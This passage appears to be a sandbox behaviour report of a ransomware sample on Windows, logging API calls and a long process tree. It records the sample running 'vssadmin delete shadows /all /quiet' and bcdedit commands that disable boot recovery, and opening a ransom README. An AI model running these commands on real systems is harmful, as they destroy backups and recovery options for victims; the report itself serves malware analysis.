-13 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0144.667] GetProcessHeap () returned 0x2f0000 [0144.667] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x304800 | out: hHeap=0x2f0000) returned 1 [0144.667] GetProcessHeap () returned 0x2f0000 [0144.668] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x12) returned 0x308b70 [0144.668] lstrcmpW (lpString1="\\bcdedit.exe", lpString2="\\XCOPY.EXE") returned -1 [0144.668] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\bcdedit.exe", lpCommandLine="C:\\Windows\\System32\\bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x16ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x16ee20 | out: lpCommandLine="C:\\Windows\\System32\\bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures", lpProcessInformation=0x16ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0xb00, dwThreadId=0xb04)) returned 1 [0144.673] CloseHandle (hObject=0x50) returned 1 [0144.673] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0144.673] GetProcessHeap () returned 0x2f0000 [0144.673] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x312510 | out: hHeap=0x2f0000) returned 1 [0144.673] GetEnvironmentStringsW () returned 0x30f9f0* [0144.673] GetProcessHeap () returned 0x2f0000 [0144.673] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xb0e) returned 0x312510 [0144.673] FreeEnvironmentStringsW (penv=0x30f9f0) returned 1 [0144.673] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0144.849] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x16ed68 | out: lpExitCode=0x16ed68*=0x0) returned 1 [0144.849] CloseHandle (hObject=0x54) returned 1 [0144.849] _vsnwprintf (in: _Buffer=0x16efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x16ed78 | out: _Buffer="00000000") returned 8 [0144.849] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0144.849] GetProcessHeap () returned 0x2f0000 [0144.849] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x312510 | out: hHeap=0x2f0000) returned 1 [0144.849] GetEnvironmentStringsW () returned 0x30f9f0* [0144.849] GetProcessHeap () returned 0x2f0000 [0144.849] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xb0e) returned 0x312510 [0144.849] FreeEnvironmentStringsW (penv=0x30f9f0) returned 1 [0144.849] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0144.849] GetProcessHeap () returned 0x2f0000 [0144.849] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x312510 | out: hHeap=0x2f0000) returned 1 [0144.849] GetEnvironmentStringsW () returned 0x30f9f0* [0144.849] GetProcessHeap () returned 0x2f0000 [0144.849] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xb0e) returned 0x312510 [0144.850] FreeEnvironmentStringsW (penv=0x30f9f0) returned 1 [0144.850] GetProcessHeap () returned 0x2f0000 [0144.850] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x308b70 | out: hHeap=0x2f0000) returned 1 [0144.850] DeleteProcThreadAttributeList (in: lpAttributeList=0x16ee38 | out: lpAttributeList=0x16ee38) [0144.850] _get_osfhandle (_FileHandle=1) returned 0x7 [0144.850] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0144.850] _get_osfhandle (_FileHandle=1) returned 0x7 [0144.850] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49d6e194 | out: lpMode=0x49d6e194) returned 1 [0144.850] _get_osfhandle (_FileHandle=0) returned 0x3 [0144.851] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49d6e198 | out: lpMode=0x49d6e198) returned 1 [0144.851] SetConsoleInputExeNameW () returned 0x1 [0144.851] GetConsoleOutputCP () returned 0x1b5 [0144.851] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49d7bfe0 | out: lpCPInfo=0x49d7bfe0) returned 1 [0144.851] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0144.851] exit (_Code=0) Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x60162000" os_pid = "0x7a8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x3b4" cmd_line = "C:\\Windows\\System32\\vssadmin.exe delete shadows /all /quiet " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 23 os_tid = 0x2a8 Thread: id = 27 os_tid = 0x6dc Thread: id = 29 os_tid = 0x6f4 Thread: id = 32 os_tid = 0x824 Thread: id = 33 os_tid = 0x834 Process: id = "5" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x66821000" os_pid = "0x864" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005b5ef" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 35 os_tid = 0x8d4 Thread: id = 36 os_tid = 0x8c4 Thread: id = 37 os_tid = 0x8b4 Thread: id = 38 os_tid = 0x8a4 [0083.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xf3d780 | out: lpSystemTimeAsFileTime=0xf3d780*(dwLowDateTime=0xa2189bb0, dwHighDateTime=0x1d60166)) [0083.908] GetCurrentProcessId () returned 0x864 [0083.908] GetCurrentThreadId () returned 0x8a4 [0083.908] GetTickCount () returned 0x114b1e2 [0083.908] QueryPerformanceCounter (in: lpPerformanceCount=0xf3d788 | out: lpPerformanceCount=0xf3d788*=20388241876) returned 1 [0083.908] malloc (_Size=0x100) returned 0x418e80 [0173.441] free (_Block=0x418e80) Thread: id = 39 os_tid = 0x894 Thread: id = 40 os_tid = 0x884 Thread: id = 41 os_tid = 0x874 Thread: id = 43 os_tid = 0x8f4 Thread: id = 88 os_tid = 0x7a0 Thread: id = 139 os_tid = 0x798 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x5e127000" os_pid = "0x914" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005bc9a" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 47 os_tid = 0x974 Thread: id = 48 os_tid = 0x964 Thread: id = 49 os_tid = 0x954 Thread: id = 50 os_tid = 0x944 Thread: id = 51 os_tid = 0x934 Thread: id = 52 os_tid = 0x924 Thread: id = 89 os_tid = 0x804 Thread: id = 140 os_tid = 0x7a4 Process: id = "7" image_name = "bcdedit.exe" filename = "c:\\windows\\system32\\bcdedit.exe" page_root = "0x62f6a000" os_pid = "0xb20" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x3b4" cmd_line = "C:\\Windows\\System32\\bcdedit.exe /set {default} recoveryenabled No " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 132 os_tid = 0xb60 Process: id = "8" image_name = "bcdedit.exe" filename = "c:\\windows\\system32\\bcdedit.exe" page_root = "0x64c71000" os_pid = "0xb00" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x3b4" cmd_line = "C:\\Windows\\System32\\bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 133 os_tid = 0xb04 Process: id = "9" image_name = "notepad.exe" filename = "c:\\windows\\system32\\notepad.exe" page_root = "0x56473000" os_pid = "0xa30" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x7b0" cmd_line = "\"C:\\Windows\\system32\\NOTEPAD.EXE\" C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VLLNRZRF-README.txt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 138 os_tid = 0x618 Process: id = "10" image_name = "System" filename = "" page_root = "0x187000" os_pid = "0x4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "kernel_analysis" parent_id = "0" os_parent_pid = "0xffffffffffffffff" cmd_line = "" cur_dir = "" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 141 os_tid = 0x8 Thread: id = 142 os_tid = 0x5c Thread: id = 143 os_tid = 0x24 Thread: id = 144 os_tid = 0x9c Thread: id = 145 os_tid = 0x78 Thread: id = 146 os_tid = 0xc0 Thread: id = 147 os_tid = 0x28 Thread: id = 148 os_tid = 0xc8 Thread: id = 149 os_tid = 0x4c Thread: id = 150 os_tid = 0x40 Thread: id = 151 os_tid = 0xb4 Thread: id = 152 os_tid = 0x44 Thread: id = 153 os_tid = 0x30 Thread: id = 154 os_tid = 0xc4 Thread: id = 155 os_tid = 0xcc Thread: id = 156 os_tid = 0xd0 Thread: id = 157 os_tid = 0xb8 Thread: id = 158 os_tid = 0x34 Thread: id = 159 os_tid = 0xd4 Thread: id = 160 os_tid = 0xd8 Thread: id = 161 os_tid = 0xdc Thread: id = 163 os_tid = 0xe8 Thread: id = 165 os_tid = 0x64 Thread: id = 166 os_tid = 0x38 Thread: id = 167 os_tid = 0x3c Thread: id = 168 os_tid = 0x68 Thread: id = 169 os_tid = 0xfc Thread: id = 171 os_tid = 0x48 Thread: id = 172 os_tid = 0x80 Thread: id = 173 os_tid = 0x2c Thread: id = 174 os_tid = 0x88 Thread: id = 175 os_tid = 0x98 Thread: id = 176 os_tid = 0x100 Thread: id = 177 os_tid = 0x10c Thread: id = 178 os_tid = 0x118 Thread: id = 179 os_tid = 0x11c Thread: id = 180 os_tid = 0x108 Thread: id = 183 os_tid = 0x110 Thread: id = 185 os_tid = 0x134 Thread: id = 186 os_tid = 0x138 Thread: id = 187 os_tid = 0x13c Thread: id = 188 os_tid = 0x140 Thread: id = 205 os_tid = 0x194 Thread: id = 209 os_tid = 0x60 Thread: id = 210 os_tid = 0xb0 Thread: id = 215 os_tid = 0x90 Thread: id = 225 os_tid = 0x104 Thread: id = 257 os_tid = 0x74 Thread: id = 262 os_tid = 0x274 Thread: id = 275 os_tid = 0x8c Thread: id = 290 os_tid = 0x2e8 Thread: id = 298 os_tid = 0x84 Thread: id = 301 os_tid = 0x50 Thread: id = 302 os_tid = 0x30c Thread: id = 304 os_tid = 0xbc Thread: id = 347 os_tid = 0x3d0 Thread: id = 375 os_tid = 0x104 Process: id = "11" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0x2d1ca000" os_pid = "0xe0" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x4" cmd_line = "\\SystemRoot\\System32\\smss.exe" cur_dir = "C:\\Windows" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 162 os_tid = 0xe4 Thread: id = 164 os_tid = 0xec Thread: id = 181 os_tid = 0x120 Thread: id = 193 os_tid = 0x164 Process: id = "12" image_name = "autochk.exe" filename = "c:\\windows\\system32\\autochk.exe" page_root = "0x17d18000" os_pid = "0xf0" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0xe0" cmd_line = "\\??\\C:\\Windows\\system32\\autochk.exe *" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 170 os_tid = 0xf4 Process: id = "13" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0x1656e000" os_pid = "0x124" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0xe0" cmd_line = "\\SystemRoot\\System32\\smss.exe 00000000 0000003c " cur_dir = "C:\\Windows\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 182 os_tid = 0x128 Process: id = "14" image_name = "csrss.exe" filename = "c:\\windows\\system32\\csrss.exe" page_root = "0x2cb5b000" os_pid = "0x12c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x124" cmd_line = "%SystemRoot%\\system32\\csrss.exe ObjectDirectory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 184 os_tid = 0x130 Thread: id = 189 os_tid = 0x144 Thread: id = 190 os_tid = 0x148 Thread: id = 191 os_tid = 0x14c Thread: id = 192 os_tid = 0x150 Thread: id = 201 os_tid = 0x188 Thread: id = 206 os_tid = 0x198 Thread: id = 207 os_tid = 0x19c Thread: id = 214 os_tid = 0x1b8 Thread: id = 220 os_tid = 0x1d0 Process: id = "15" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0x3374000" os_pid = "0x154" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0xe0" cmd_line = "\\SystemRoot\\System32\\smss.exe 00000001 0000003c " cur_dir = "C:\\Windows\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 194 os_tid = 0x158 Process: id = "16" image_name = "wininit.exe" filename = "c:\\windows\\system32\\wininit.exe" page_root = "0xe361000" os_pid = "0x15c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x124" cmd_line = "wininit.exe" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 195 os_tid = 0x160 Thread: id = 202 os_tid = 0x18c Thread: id = 203 os_tid = 0x190 Thread: id = 211 os_tid = 0x1a4 Thread: id = 212 os_tid = 0x1a8 Thread: id = 213 os_tid = 0x1b4 Thread: id = 228 os_tid = 0x1ec Thread: id = 276 os_tid = 0x2b4 Process: id = "17" image_name = "csrss.exe" filename = "c:\\windows\\system32\\csrss.exe" page_root = "0xda49000" os_pid = "0x168" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x154" cmd_line = "%SystemRoot%\\system32\\csrss.exe ObjectDirectory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 196 os_tid = 0x16c Thread: id = 197 os_tid = 0x170 Thread: id = 198 os_tid = 0x174 Thread: id = 199 os_tid = 0x178 Thread: id = 200 os_tid = 0x17c Thread: id = 208 os_tid = 0x1a0 Thread: id = 232 os_tid = 0x1fc Thread: id = 233 os_tid = 0x200 Process: id = "18" image_name = "winlogon.exe" filename = "c:\\windows\\system32\\winlogon.exe" page_root = "0x1e74f000" os_pid = "0x180" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x154" cmd_line = "winlogon.exe" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 204 os_tid = 0x184 Thread: id = 226 os_tid = 0x1e4 Thread: id = 227 os_tid = 0x1e8 Thread: id = 281 os_tid = 0x2c4 Thread: id = 303 os_tid = 0x318 Thread: id = 361 os_tid = 0x100 Thread: id = 362 os_tid = 0x108 Thread: id = 368 os_tid = 0x13c Process: id = "19" image_name = "services.exe" filename = "c:\\windows\\system32\\services.exe" page_root = "0x1dbce000" os_pid = "0x1ac" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0x15c" cmd_line = "C:\\Windows\\system32\\services.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 216 os_tid = 0x1b0 Thread: id = 236 os_tid = 0x20c Thread: id = 237 os_tid = 0x210 Thread: id = 238 os_tid = 0x214 Thread: id = 239 os_tid = 0x218 Thread: id = 240 os_tid = 0x21c Thread: id = 241 os_tid = 0x220 Thread: id = 242 os_tid = 0x224 Thread: id = 243 os_tid = 0x228 Thread: id = 244 os_tid = 0x22c Thread: id = 245 os_tid = 0x230 Thread: id = 246 os_tid = 0x234 Thread: id = 261 os_tid = 0x270 Thread: id = 363 os_tid = 0x10c Process: id = "20" image_name = "lsass.exe" filename = "c:\\windows\\system32\\lsass.exe" page_root = "0xe3d9000" os_pid = "0x1bc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0x15c" cmd_line = "C:\\Windows\\system32\\lsass.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 217 os_tid = 0x1c0 Thread: id = 219 os_tid = 0x1cc Thread: id = 221 os_tid = 0x1d4 Thread: id = 222 os_tid = 0x1d8 Thread: id = 223 os_tid = 0x1dc Thread: id = 224 os_tid = 0x1e0 Thread: id = 229 os_tid = 0x1f0 Thread: id = 230 os_tid = 0x1f4 Thread: id = 231 os_tid = 0x1f8 Thread: id = 234 os_tid = 0x204 Thread: id = 235 os_tid = 0x208 Thread: id = 305 os_tid = 0x31c Thread: id = 311 os_tid = 0x334 Thread: id = 367 os_tid = 0x138 Process: id = "21" image_name = "lsm.exe" filename = "c:\\windows\\system32\\lsm.exe" page_root = "0xe4e0000" os_pid = "0x1c4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0x15c" cmd_line = "C:\\Windows\\system32\\lsm.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 218 os_tid = 0x1c8 Thread: id = 248 os_tid = 0x240 Thread: id = 278 os_tid = 0x2b8 Thread: id = 280 os_tid = 0x2c0 Thread: id = 283 os_tid = 0x2cc Thread: id = 286 os_tid = 0x2d8 Thread: id = 287 os_tid = 0x2dc Thread: id = 288 os_tid = 0x2e0 Thread: id = 289 os_tid = 0x2e4 Thread: id = 292 os_tid = 0x2f0 Process: id = "22" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x1e2a3000" os_pid = "0x238" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "19" os_parent_pid = "0x1ac" cmd_line = "C:\\Windows\\system32\\svchost.exe -k DcomLaunch" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\DcomLaunch" [0xa], "NT SERVICE\\PlugPlay" [0xe], "NT SERVICE\\Power" [0xa], "NT AUTHORITY\\Logon Session 00000000:00007110" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 247 os_tid = 0x23c Thread: id = 249 os_tid = 0x244 Thread: id = 250 os_tid = 0x248 Thread: id = 251 os_tid = 0x24c Thread: id = 252 os_tid = 0x250 Thread: id = 253 os_tid = 0x254 Thread: id = 254 os_tid = 0x258 Thread: id = 255 os_tid = 0x25c Thread: id = 256 os_tid = 0x260 Thread: id = 258 os_tid = 0x264 Thread: id = 259 os_tid = 0x268 Thread: id = 260 os_tid = 0x26c Thread: id = 263 os_tid = 0x278 Thread: id = 265 os_tid = 0x284 Thread: id = 266 os_tid = 0x288 Thread: id = 268 os_tid = 0x290 Thread: id = 310 os_tid = 0x324 Process: id = "23" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x1d8dc000" os_pid = "0x27c" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "19" os_parent_pid = "0x1ac" cmd_line = "C:\\Windows\\system32\\svchost.exe -k RPCSS" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\RpcEptMapper" [0xe], "NT SERVICE\\RpcSs" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b73d" [0xc000000f], "LOCAL" [0x7] Thread: id = 264 os_tid = 0x280 Thread: id = 267 os_tid = 0x28c Thread: id = 269 os_tid = 0x294 Thread: id = 270 os_tid = 0x298 Thread: id = 271 os_tid = 0x29c Thread: id = 272 os_tid = 0x2a0 Thread: id = 273 os_tid = 0x2a4 Thread: id = 274 os_tid = 0x2a8 Process: id = "24" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xcae8000" os_pid = "0x2ac" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "19" os_parent_pid = "0x1ac" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ba1c" [0xc000000f], "LOCAL" [0x7] Thread: id = 277 os_tid = 0x2b0 Thread: id = 279 os_tid = 0x2bc Thread: id = 282 os_tid = 0x2c8 Thread: id = 284 os_tid = 0x2d0 Thread: id = 285 os_tid = 0x2d4 Thread: id = 291 os_tid = 0x2ec Thread: id = 294 os_tid = 0x2fc Thread: id = 313 os_tid = 0x340 Thread: id = 315 os_tid = 0x348 Thread: id = 316 os_tid = 0x34c Thread: id = 317 os_tid = 0x350 Thread: id = 318 os_tid = 0x354 Thread: id = 333 os_tid = 0x394 Thread: id = 334 os_tid = 0x398 Thread: id = 335 os_tid = 0x39c Thread: id = 338 os_tid = 0x3ac Thread: id = 339 